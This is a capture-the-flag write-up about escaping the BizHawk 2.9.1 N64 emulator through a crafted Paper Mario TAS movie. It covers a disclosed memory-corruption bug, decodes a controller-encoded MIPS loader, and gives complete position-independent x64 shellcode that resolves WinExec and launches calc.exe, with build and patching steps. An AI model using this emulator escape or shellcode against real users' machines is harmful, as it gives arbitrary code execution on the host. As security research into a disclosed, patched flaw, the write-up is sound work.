Turning Paper Mario “bluescreen%” into calc.exe

Challenge summary

The challenge asks us to submit a BizHawk movie (*.bk2) for the Japanese version of Paper Mario:

1
2
Mario Story (J) [!].n64
SHA-1: B9CCA3FF260B9FF427D981626B82F96DE73586D3

The judge restores a Windows 10 Pro 22H2 VM, opens the movie in BizHawk 2.9.1, and lets it play for at most 20 minutes. We win if the movie escapes the N64 emulator and executes:

1
calc.exe

The supplied clue is a Bilibili video ID:

1
BV1rt421n7tY

Our development machine was an Apple Silicon Mac, so the Windows-only exploit could not initially be tested end-to-end. The approach was therefore:

  1. identify the movie referenced by the clue;
  2. recover its exploit stages from controller input;
  3. preserve the known-working BizHawk escape;
  4. replace only the terminal Windows payload;
  5. validate every intermediate transformation statically;
  6. finally replay the generated movie in the real Windows environment.

The final movie worked. It launched the challenge’s calc.exe replacement after the original 55,345-frame playthrough, approximately 15 minutes 22.42 seconds after power-on.

Final artifacts

File Purpose
calc.bk2 Final working TAS movie
craft_calc_tas.py Reproducible downloader, patcher, encoder, and verifier
payload_calc_x64.s Source for the native Windows x64 payload

Important hashes:

Artifact SHA-256
calc.bk2 6d361be21cabe93283e199bed63d57b446855fcd048b507abfb6c220f72f8506
Original bluescreen.bk2 a446baef914426842940c5a8dbc568a6bd231e410982c6c3fbe8b4acfd679cad
Original 612-byte MIPS stage a593e1bfa53d2dd08dd8a95b56239baf5ea3a2d40fcd8e7d0d4580bc382be0b6
Patched 612-byte MIPS stage 85041c5508fc038e9ec1ab2a6402d42dda54c1383ee51a687c3d6b54aeb56cfc
129-byte x64 payload 6ecd14f1d6d72f01bea575f59b0f71c6ba34f984abf988cbd39f98e6a4f36433

Safety warning: both the original movie and calc.bk2 deliberately execute native host code through a vulnerable emulator. Only open them in an authorized, disposable VM that can be restored afterward.

1. Following the video clue

Observation. The description says that someone downloaded a TAS movie, played it, and got a blue screen. It then gives the video ID BV1rt421n7tY.

Looking up that ID identifies:

1
【TAS】[N64]《纸片马里奥》 "蓝屏%" in 15:22.42

The video description links TASVideos submission #8982, “bluescreen%”.

Inference. This is not merely a similar proof of concept. Its metadata matches every important challenge constant:

  • Mario Story (Japan);
  • ROM SHA-1 B9CCA3FF260B9FF427D981626B82F96DE73586D3;
  • BizHawk 2.9.1;
  • Mupen64Plus core;
  • power-on movie;
  • 55,345 frames;
  • runtime 15:22.42;
  • a Windows blue-screen payload.

Next step. Download the original movie and use it as the known-working escape scaffold instead of rebuilding a complete emulator exploit from scratch.

The public submission download is:

1
https://tasvideos.org/8982S?handler=Download

The download is an outer ZIP containing bluescreen.bk2:

1
2
3
4
5
6
curl -fL 'https://tasvideos.org/8982S?handler=Download' \
-o submission8982.zip
shasum -a 256 submission8982.zip
unzip -l submission8982.zip
unzip -p submission8982.zip bluescreen.bk2 > bluescreen.bk2
shasum -a 256 bluescreen.bk2

Expected hashes:

1
2
3
4
5
submission8982.zip
90fc8633f441af41741ac33d549b981b40dd22641b2c1e9df8f794a4f1c2f218

bluescreen.bk2
a446baef914426842940c5a8dbc568a6bd231e410982c6c3fbe8b4acfd679cad

2. Understanding the BK2 container

Observation. A BK2 movie is itself a ZIP archive. Listing the reference movie gives:

1
2
3
4
5
Header.txt
Comments.txt
Subtitles.txt
SyncSettings.json
Input Log.txt

There is no savestate. The movie starts from power-on and derives its entire state from the ROM and controller inputs.

Useful inspection commands are:

1
2
3
4
unzip -t bluescreen.bk2
unzip -p bluescreen.bk2 Header.txt
unzip -p bluescreen.bk2 SyncSettings.json
unzip -p bluescreen.bk2 'Input Log.txt' | sed -n '1,6p'

The header confirms the target:

1
2
3
4
5
emuVersion Version 2.9.1
Platform N64
GameName Mario Story (Japan)
SHA1 B9CCA3FF260B9FF427D981626B82F96DE73586D3
Core Mupen64Plus

Inference. Whatever native-code exploit exists must be encoded into ordinary-looking controller records in Input Log.txt.

Next step. Inspect the official disclosure and vulnerable emulator source, then look for structured or high-entropy input near the end of the movie.

3. Confirming the emulator vulnerability

BizHawk’s maintainers documented this exact movie in issue #3929. The issue states that malicious N64 software running in the Mupen64Plus core can write to host executable memory and execute arbitrary host code. It affects BizHawk 2.9.1 and earlier; Ares64 is not affected.

The official fix commit adds missing masks and bounds checks to several PI, SP, SI, FlashRAM, and controller paths. The corresponding upstream report is mupen64plus-core issue #1081.

Observation. In BizHawk 2.9.1’s bundled Mupen source, the FlashRAM DMA code uses the raw PI DRAM address to index the host-side RDRAM allocation. The relevant reads and writes are not restricted to the emulated 8 MiB region.

Inference. By selecting out-of-range PI DMA addresses, guest MIPS code can read and write relative to the host RDRAM allocation. The original movie can use that primitive to leak ASLR-dependent pointers, patch dynarec state, and write executable x64 bytes.

Next step. Decode the final controller records into the MIPS program that drives this primitive.

4. Finding the payload in the input log

The final input records look unlike normal gameplay:

  • P3 begins carrying repetitive non-gameplay values near frame 55,207;
  • all four controllers are active on frames 55,294 through 55,344;
  • frame 55,345 terminates the pattern.

BizHawk 2.9.1 packs each N64 controller as four bytes:

1
[button_low, button_high, signed X, signed Y]

The implementation is visible in BizHawk’s N64Input.cs.

The public Paper Mario decompilation gives another clue. In the Japanese build, four six-byte OSContPad structures immediately precede gCameras at 0x800B1D60. Their addresses are therefore:

1
2
3
4
P1: 0x800B1D48
P2: 0x800B1D4E
P3: 0x800B1D54
P4: 0x800B1D5A

Observation. Decoding frame 55,294 produces bytes that begin with valid big-endian MIPS instructions. For example, P1 earlier supplies 3C 10 80 80, which disassembles as:

1
lui s0, 0x8080

P3 repeatedly supplies a jump into the controller-data region. This is a bootstrap that executes instructions directly from controller state and builds a more capable loader at 0x807FFFB8.

Inference. The 51 all-controller frames are not 16 unrestricted bytes per frame. The bootstrap deliberately selects 12 usable bytes from the four controller structures.

The exact per-frame permutation is:

Output stage bytes Source controller bytes
0, 1 P4 X, P4 Y
2, 3 P2 X, P2 Y
4 P3 button-low
5 P2 button-low
6, 7 P3 X, P3 Y
8 P1 button-low
9 P4 button-low
10, 11 P1 X, P1 Y

P4’s button-high byte is reserved as a frame marker. It alternates:

1
3, 2, 3, 2, ...

Next step. Apply that permutation to frames 55,294–55,344 and concatenate the results.

This recovers:

1
2
3
51 frames × 12 bytes = 612 bytes
guest destination: 0x807FC000
SHA-256: a593e1bfa53d2dd08dd8a95b56239baf5ea3a2d40fcd8e7d0d4580bc382be0b6

5. Accounting for the terminating frame

The bootstrap starts its destination pointer at 0x80800000. Each accepted marker causes one 12-byte copy followed by:

1
addiu s0, s0, 0xC

Frame 55,345 changes the P4 marker to zero. A subtle but important detail is that the loader still copies that frame’s twelve zero bytes and executes the increment in the branch delay slot before exiting.

Therefore the final pointer is:

1
2
0x80800000 + (51 data frames + 1 terminator) × 12
= 0x80800270

Why this clue mattered. Several later addresses are calculated relative to s0. Using 0x80800264 instead would shift the inferred payload boundary by twelve bytes and make valid MIPS/data look inexplicable.

With the correct s0 = 0x80800270, the stage layout becomes consistent.

6. What the final MIPS stage does

The 612-byte program has three broad jobs:

  1. use unchecked FlashRAM/PI DMA for host-relative reads and writes;
  2. leak pointers and reconfigure Mupen’s old dynarec state;
  3. emit and execute an x64 payload in a host RWX buffer.

The stage explicitly accesses the PI register block:

1
lui t0, 0xA460

It drives FlashRAM through the sequence represented by commands such as 0xB400, 0xD200, and 0xF000, switching write/read modes and copying between RDRAM and FlashRAM. Because the PI DRAM address is not masked in the vulnerable release, these operations escape the guest RDRAM allocation.

Static analysis of the exact BizHawk 2.9.1 Windows DLL found:

1
2
3
4
5
RDRAM DLL RVA:                     0x658D0
max_code_length relative to RDRAM: 0x01002890
inst_pointer relative to RDRAM: 0x01002898
code_length relative to RDRAM: 0x010028A0
writememd table DLL RVA: 0x210C480

The stage keeps these version-specific pieces unchanged. Reusing them is much safer than designing a new host escape without a Windows test machine.

The final guest jump is:

1
0x803536AC

It dispatches the compiled host block at offset zero in Mupen’s dynamically allocated PAGE_EXECUTE_READWRITE buffer.

7. Recovering the encrypted original x64 payload

At stage offset 0x140 we find the ASCII bytes:

1
HIMITSU!

This translates to “secret,” matching the challenge description’s wording about discovering the secret that controls the swarm.

The MIPS decryption loop at offsets 0x78..0x93 is:

1
2
3
4
5
6
7
dmult  s4, s3
mflo s4
ld t0, -0x4078(t8)
xor t0, t0, s4
sd t0, -0x4078(t8)
bne t8, s0, loop
addiu t8, t8, 8

The initial state and multiplier are:

1
2
s4 seed:   0x2ED763B30C0D4DAB
s3 value: 0x000000000006E463

The first multiplication explains the marker:

1
2
3
0x2ED763B30C0D4DAB × 0x6E463 mod 2^64
= 0x48494D4954535521
= "HIMITSU!"

For each of 24 big-endian qwords:

1
2
key = (key * 0x6E463) & 0xFFFFFFFFFFFFFFFF
plaintext_qword = ciphertext_qword ^ key

This decrypts stage offsets 0x140..0x1FF.

At first, the decrypted bytes still did not look like forward x64 code. That became the most important debugging pivot in the solve.

8. Debugging pivot: the host payload is written backward

Initial, incorrect assumption

The first theory was:

  1. NOP the MIPS decrypt loop;
  2. place ordinary plaintext x64 bytes starting at stage offset 0x140;
  3. let the later loop copy them directly into host executable memory.

This was attractive because our calc payload easily fit in the apparent 188-byte region. However, closer inspection showed two problems:

  • offset 0xC0 executes sd s2, ..., overwriting stage offsets 0x140..0x147 with a leaked host pointer;
  • the writer loop sets Mupen’s code_length from 187 down to zero while reading stage bytes in ascending order.

Source-level evidence

The host-writer loop begins with:

1
addiu t8, s0, -0xBB

and reads:

1
lb t0, -0x4075(t8)

while incrementing t8 until it reaches s0 inclusively. With s0 = 0x80800270, the source addresses are exactly:

1
2
3
first: 0x807FC140
last: 0x807FC1FB
count: 188 bytes

Mupen’s put8() writes directly to:

1
(*inst_pointer)[code_length]

Because code_length runs from 187 down to zero, the final host buffer is:

1
reverse(stage[0x140:0x1FC])

There is no extra selector or opcode transformation—only reversal.

Proving the correction

Decrypting the original 192-byte region and reversing the copied 188 bytes produces a valid x64 program beginning:

1
48 83 EC 38 48 8D 0D 4B ...

It cleanly disassembles and contains:

1
2
RtlAdjustPrivilege
NtRaiseHardError

Its SHA-256 is:

1
7e6be1484c6abe9db5bc6e253a1e6da1e62c99def9419944111a28d8548f7833

This explained every previously confusing byte.

Correct patch layout

Stage offsets 0x140..0x147 are runtime scratch and are replaced with the leaked pointer. After reversal they become the final eight host bytes. Our actual controllable code capacity is therefore:

1
stage[0x148:0x1FC] = 180 bytes

The correct patch is:

  1. replace the seven decrypt-loop instructions with MIPS NOPs;
  2. create host = calc_shellcode || 0x90 padding to exactly 180 bytes;
  3. write reverse(host) into stage offsets 0x148..0x1FB;
  4. preserve HIMITSU! at 0x140..0x147 as runtime scratch;
  5. preserve offsets 0x1FC..0x1FF, which are outside the copied range;
  6. leave the remaining exploit/bootstrap unchanged.

This correction changed 19 final movie frames:

1
2
55304-55306
55321-55336

9. Building a compact calc.exe payload

The native payload must be:

  • Windows x64;
  • position-independent because of ASLR;
  • no more than 180 bytes;
  • free of link-time relocations;
  • able to find an API without fixed addresses;
  • terminal, because resuming the compromised emulator is unnecessary.

The final payload is 129 bytes. Its source is payload_calc_x64.s.

Its logic is:

  1. obtain the PEB from GS:[0x60];
  2. walk PEB->Ldr module entries;
  3. parse each module’s PE32+ export directory;
  4. look for the exact name WinExec\0;
  5. resolve the name ordinal and function RVA;
  6. place calc.exe\0 on the stack;
  7. set RCX to the string and RDX = 1 (SW_SHOWNORMAL);
  8. align the stack and reserve Windows x64 shadow space;
  9. call WinExec;
  10. loop forever if it returns.

The core assembly is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
xor ecx, ecx
mov rax, qword ptr gs:[rcx + 0x60]
mov rax, qword ptr [rax + 0x18]
mov r10, qword ptr [rax + 0x20]

next_module:
mov r10, qword ptr [r10]
mov rbx, qword ptr [r10 + 0x20]
mov edx, dword ptr [rbx + 0x3c]
add rdx, rbx
mov edx, dword ptr [rdx + 0x88]
test edx, edx
jz next_module
add rdx, rbx
mov ecx, dword ptr [rdx + 0x18]
mov edi, dword ptr [rdx + 0x20]
add rdi, rbx
movabs r8, 0x00636578456e6957

find_name:
jrcxz next_module
dec ecx
mov esi, dword ptr [rdi + rcx*4]
add rsi, rbx
cmp qword ptr [rsi], r8
jne find_name

mov edi, dword ptr [rdx + 0x24]
add rdi, rbx
movzx ecx, word ptr [rdi + rcx*2]
mov edi, dword ptr [rdx + 0x1c]
add rdi, rbx
mov eax, dword ptr [rdi + rcx*4]
add rax, rbx

push 0
movabs r9, 0x6578652e636c6163
push r9
mov rcx, rsp
push 1
pop rdx
and rsp, -16
sub rsp, 0x20
call rax

hang:
jmp hang

The terminal loop means the remaining 51 NOP bytes and the final runtime pointer can never be executed.

10. Validating the Windows payload without Windows

The assembly was built as a Windows x64 object using LLVM:

1
2
3
4
5
6
7
8
9
llvm-mc -triple=x86_64-pc-windows-msvc \
-filetype=obj payload_calc_x64.s -o payload_calc_x64.obj

llvm-objcopy --dump-section \
.text=payload_calc_x64.bin payload_calc_x64.obj

wc -c payload_calc_x64.bin
shasum -a 256 payload_calc_x64.bin
llvm-objdump -r payload_calc_x64.obj

Expected result:

1
2
3
size:   129 bytes
SHA256: 6ecd14f1d6d72f01bea575f59b0f71c6ba34f984abf988cbd39f98e6a4f36433
relocations: none

For stronger validation, the exact byte sequence was run under Unicorn with:

  • a synthetic x64 TEB, PEB, and loader list;
  • an authentic Windows 10 22H2 kernel32.dll mapped as a PE image;
  • the target module placed at loader positions 2 through 8;
  • dummy preceding modules with no exports or no WinExec;
  • every possible initial low nibble of RSP.

All 112 test cases reached the real WinExec export with:

1
2
3
RCX -> "calc.exe\0"
RDX = 1
RSP correctly aligned for the call

Representative Windows 10 build 19041 versions from .1889 through .5915 were also checked. In each sample, WinExec was real executable code rather than a forwarded export.

11. Re-encoding the stage into controller inputs

The patcher performs the inverse of the 12-byte controller permutation.

For each 12-byte stage chunk it updates only:

  • each controller’s low button byte where used;
  • signed X and Y axis values;
  • no high button byte used by the loader marker.

It preserves the alternating P4 marker sequence and the zero terminator. The rewritten input lines stay exactly 128 characters long.

The resulting movie has:

1
2
3
4
5
6
7
55,345 frames
unchanged Header.txt
unchanged Comments.txt
unchanged Subtitles.txt
unchanged SyncSettings.json
changed Input Log.txt only
19 changed frames total

The final patched stage hash is:

1
85041c5508fc038e9ec1ab2a6402d42dda54c1383ee51a687c3d6b54aeb56cfc

12. Reproducing calc.bk2

The builder uses only the Python standard library. It can download and verify the source movie itself:

1
python3 craft_calc_tas.py --output calc.bk2

Or it can use a previously downloaded submission ZIP/BK2:

1
2
3
python3 craft_calc_tas.py \
--source submission8982.zip \
--output calc.bk2

Then verify the completed movie:

1
2
3
python3 craft_calc_tas.py --verify-only calc.bk2
unzip -t calc.bk2
shasum -a 256 calc.bk2

Expected verification output includes:

1
2
3
4
movie_sha256: 6d361be21cabe93283e199bed63d57b446855fcd048b507abfb6c220f72f8506
stage_sha256: 85041c5508fc038e9ec1ab2a6402d42dda54c1383ee51a687c3d6b54aeb56cfc
shellcode_sha256: 6ecd14f1d6d72f01bea575f59b0f71c6ba34f984abf988cbd39f98e6a4f36433
frames: 55345

The builder refuses an unknown source hash and checks all of the following:

  • exact reference BK2 and original stage hashes;
  • game, ROM, emulator, and core header values;
  • frame count;
  • controller decoding and inverse encoding;
  • P4 marker alternation and zero terminator;
  • original decrypt-loop instructions;
  • recovery of the original NtRaiseHardError payload;
  • patched stage hash;
  • preserved scratch and uncopied key bytes;
  • reversed calc payload and NOP padding;
  • final BK2 integrity.

Conclusion

The shortest path was not to create a new N64-to-Windows exploit. The video clue led to a public movie that already contained a complete, version-matched BizHawk escape. The task became a careful data-recovery problem:

1
2
3
4
5
6
7
8
9
10
11
Bilibili clue
-> TASVideos bluescreen% movie
-> BK2 controller input
-> bootstrap MIPS loader
-> 612-byte final MIPS stage
-> unchecked FlashRAM DMA
-> dynarec host writer
-> encrypted/reversed NtRaiseHardError payload
-> reversed 129-byte WinExec("calc.exe") replacement
-> re-encoded 19-frame patch
-> successful 15:22.42 playback

The most important debugging lesson was the writer direction. NOPing the decryptor was valid, but storing forward shellcode at 0x140 was not. The runtime pointer overwrite and descending code_length revealed that only 0x148..0x1FB was controllable and that the native bytes had to be stored in reverse. Decrypting and disassembling the original payload provided the proof; the successful Windows replay confirmed it.